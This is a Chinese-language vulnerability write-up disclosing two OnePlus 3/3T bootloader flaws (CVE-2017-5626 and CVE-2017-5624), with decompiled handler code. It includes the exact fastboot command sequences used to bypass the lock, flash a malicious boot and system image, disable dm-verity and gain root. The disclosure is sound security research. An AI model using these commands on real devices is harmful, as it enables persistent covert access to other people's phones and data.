【漏洞分析】获取已锁定的OnePlus 3/3T：引导加载程序漏洞

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前言

在这篇博文中，我公开了OnePlus 3/3T引导加载程序中的两个漏洞。第一个CVE-2017-5626是影响OxygenOS 3.2-4.0.1（4.0.2修补）的高危漏洞。该漏洞允许一个物理对手（或使用ADB/ FASTBOOT访问）来绕过bootloader的锁定状态，即使Allow OEM Unlocking被禁用，无需用户确认并不会触发出厂重置。该漏洞允许内核代码执行（尽管启动时有5秒警告）。第二个漏洞CVE-2017-5624影响至今OxygenOS的所有版本，允许攻击者禁用dm-verity。这些漏洞的组合实现了强大的攻击 – 持久化的高权限代码执行，而不向用户发出任何警告，并且能够访问原始用户的数据（在受害者输入其凭据后）。

OnePlus Security披露和承认了这两个漏洞。第一个漏洞CVE-2017-5626于1月23日被披露。它也是由OnePlus工程师独立发现的。CVE-2017-5624于1月16日被披露，在未来的OxygenOS版本中得到修复 -今天的公开它的原因是因为已经有人在1月24日公布它了。

免责声明：我只测试了OnePlus 3，但OnePlus 3T也包含漏洞。

绕过引导加载程序锁（CVE-2017-5626）

OnePlus 3 &3T运行OxygenOS 3.2 – 4.0.1系统,它有两个专用的FASTBOOT oem命令：

1. fastboot oem 4F500301-绕过bootloader的锁-允许使用FASTBOOT访问来解锁设备，无视OEM Unlocking，并无需用户确认，没有用户数据擦除（正确的解锁后通常会发生）。此外，在运行此命令后设备仍然报告处于锁定状态。

2. fastboot oem 4F500302 – 重置各种引导加载程序设置。例如，它将锁定未加锁的引导加载程序，无需用户确认。

分析引导程序二进制表明其处理程序4F500301的命令非常简单：

// 'oem 4F500301' handler
int sub_918427F0()
{
  magicFlag_dword_91989C10 = 1;
  if ( dword_9198D804 != dword_9198D804 )
    assert(1, dword_9198D804, dword_9198D804);
  return sendOK((int)"", dword_9198D804);
}

因此，它在91989C10设置了某些全局标志（我们命名为magicFlag）。通过观察其处理格式/擦除FASTBOOT命令的过程，我们可以清楚地看到在几项检查之后,magicFlag覆盖设备的锁定状态-刷入或删除分区：

// 'flash' handler
const char *__fastcall sub_91847EEC(char *partitionName, int *a2, int a3)
{
  char *pname; // r5@1
...
  pname = partitionName;
  v4 = a2;
  v5 = a3;
  if ( returnTRUE1(partitionName, (int)a2) )
  {
    result = (const char *)sub_918428F0(pname, v6);
    if ( (result || magicFlag_dword_91989C10)
      && ((result = (const char *)sub_91842880(pname, v10)) != 0 || magicFlag_dword_91989C10) )
    {
      result = (const char *)sub_918428F0(pname, v10);
      if ( !result || magicFlag_dword_91989C10 )
        goto LABEL_7;
      v8 = dword_9198D804;
      if ( dword_9198D804 != dword_9198D804 )
        goto LABEL_28;
      v11 = "Critical partition flashing is not allowed";
    }
    else
    {
      v8 = dword_9198D804;
      if ( dword_9198D804 != dword_9198D804 )
        goto LABEL_28;
      v11 = "Partition flashing is not allowed";
    }
    return (const char *)FAIL2((int)v11, v10);
  }
LABEL_7:
  ...
    if ( *v4 != 0xED26FF3A )
    {
      if ( *v4 == 0xCE1AD63C )
        cmd_flash_meta_img(pname, (unsigned int)v4, v5);
      else
        cmd_flash_mmc_img(pname, (int)v4, v5);
      goto LABEL_10;
    }
    v7 = v4;
  }
  cmd_flash_mmc_sparse_img(pname, (int)v7, v5);
  ...
 }
// 'erase' handler
int __fastcall sub_91847118(char *partitionName, int a2, int a3)
{
 ...
  v3 = partitionName;
  v4 = returnTRUE1(partitionName, a2);
  if ( !v4 )
  {
LABEL_7:
    ...
    if ( v4 )
    {
      if ( dword_9198D804 == dword_9198D804 )
        return eraseParition(v3);
    }
    ...
  }
  v4 = sub_918428F0(v3, v5);
  if ( !v4 && !magicFlag_dword_91989C10 )
  {
    v6 = dword_9198D804;
    if ( dword_9198D804 == dword_9198D804 )
    {
      v7 = "Partition erase is not allowed";
      return FAIL2((int)v7, v5);
    }
    goto LABEL_23;
  }
  v4 = sub_91842880(v3, v5);
  if ( !v4 && !magicFlag_dword_91989C10 )
  {
    v6 = dword_9198D804;
    if ( dword_9198D804 == dword_9198D804 )
    {
      v7 = "Partition flashing is not allowed";
      return FAIL2((int)v7, v5);
    }
LABEL_23:
    assert(v4, v5, v6);
  }
  v4 = sub_918428F0(v3, v5);
  if ( !v4 || magicFlag_dword_91989C10 )
    goto LABEL_7;
  v6 = dword_9198D804;
  ...
  v7 = "Critical partition erase is not allowed";
  return FAIL2((int)v7, v5);
}

利用CVE-2017-5626进行内核代码执行

通过利用此漏洞，攻击者可以刷入恶意引导映像（其中包含两个内核和Root RAMFS）来得到自身的平台。但问题是，引导程序和平台检测这样的修改，这被称为验证启动。引导加载程序验证boot和recovery分区-刷入一个修改的boot分区，例如，会在引导时提示以下警告：

另一个不会触发此警告的选项是刷入旧的未修改的引导映像 – 较旧的映像包含可被攻击者利用的已知安全漏洞。

总之，尽管有警告(5秒后自动消失),OnePlus 3 / 3T仍然允许在红色验证状态启动，因此攻击者的代码得到执行。

有无数的方法来证明这种情况的严重性，所以我选择了最简单的方法。

通过修改引导映像：

1. 我添加androidboot.selinux=permissive到内核命令行来设置SELinux的permissive模式。

2. 我已经修改了ramfsST ro.debuggable=1，ro.secure=0，ro.adb.secure=0，并改变了USB配置属性（sys.usb.config），包括启动adb。

然后，我利用此漏洞，刷入修改后的boot.img（evil_boot.img）：

λ fastboot flash boot evil_boot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.335s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.358s
λ  fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.021s
λ fastboot flash boot  evil_boot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.342s]
writing 'boot'...
OKAY [  0.135s]
finished. total time: 0.480s

于是我得到了一个root shell，甚至在用户输入他的凭据之前：

OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),
3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
OnePlus3:/ # getenforce
Permissive

OnePlus 3 / 3T内核似乎是在启用LKM的情况下编译的，因此运行内核代码甚至不需要修补/重新编译内核。

所以我创建了一个小的内核模块：

#include <linux/module.h>
#include <linux/kdb.h>
int init_module(void)
{
    printk(KERN_ALERT "Hello From Kerneln");
    return 1;
}

然后将其加载到内核中：

OnePlus3:/data/local/tmp # insmod ./test.ko
OnePlus3:/data/local/tmp # dmesg | grep Hello
[19700121_21:09:58.970409]@3 Hello From Kernel

禁用dm-verity（CVE-2017-5624）

system分区的验证，不是boot＆recovery，是通过dm-verity驱动的。我们发现可以命令一个已锁定引导程序唤醒该平台,使用另一个FASTBOOT命令禁止dm-verity：fastboot oem disable_dm_verity。

该oem disable_dm_verity处理程序如下：

// 'oem disable_dm_verity' handler
int sub_9183B8EC()
{
  int v0; // r0@1
  int v1; // r1@1
  dmVerity_dword_91960740 = 0;
  v0 = sub_91845E10("ANDROID-BOOT!");
  if ( dword_9198D804 != dword_9198D804 )
    assert(v0, v1, dword_9198D804);
  return sendOK((int)"", v1);
}

又一次，91960740设置了一些标志（我们称为dmVerity）。引导加载程序构建内核cmdline时会使用它：

androidboot.enable_dm_verity内核命令行参数传递到ro.boot.enable_dm_verity,然后指示OnePlus的init,是否要禁用dm-verity：

2个漏洞组合利用

这两个漏洞可以组合在一起，用于具有特权的SELinux域代码执行，而不向用户发出任何警告并访问原始用户数据。为了演示这一点（可能有成千上万更好的方法与更高的严重性），我修改了系统分区，添加了一个特权应用程序。可以在/system/priv-app/<APK_DIR>目录下放置APK下,最终将导致它被添加到priv_app域中。

λ fastboot flash system system-modded.simg
target reported max download size of 440401920 bytes
erasing 'system'...
FAILED (remote: Partition erase is not allowed)
finished. total time: 0.014s
λ fastboot oem 4F500301
OKAY
[  0.020s] finished. total time: 0.021s
λ fastboot flash system system-modded.simg
target reported max download size of 440401920 bytes erasing 'system'...
OKAY [  0.010s]
...
sending sparse 'system' 7/7 (268486 KB)...
OKAY [  6.748s]
writing 'system' 7/7...
OKAY [  3.291s]
finished. total time: 122.675s
λ fastboot oem disable_dm_verity
...
OKAY
[  0.034s] finished. total time: 0.036s

事实上，加载priv_app的应用程序上下文如下：

1|OnePlus3:/ $ getprop | grep dm_verity
[ro.boot.enable_dm_verity]: [0]
OnePlus3:/ $ ps -Z | grep roeeh
u:r:priv_app:s0:c512,c768      u0_a16    4764  2200  1716004 74600 SyS_epoll_ 0000000000 S roeeh.fooapp

演示视频

以下视频显示结果 – 平台已加载并没有警告，并安装了特权应用程序。

正文

【漏洞分析】获取已锁定的OnePlus 3/3T：引导加载程序漏洞

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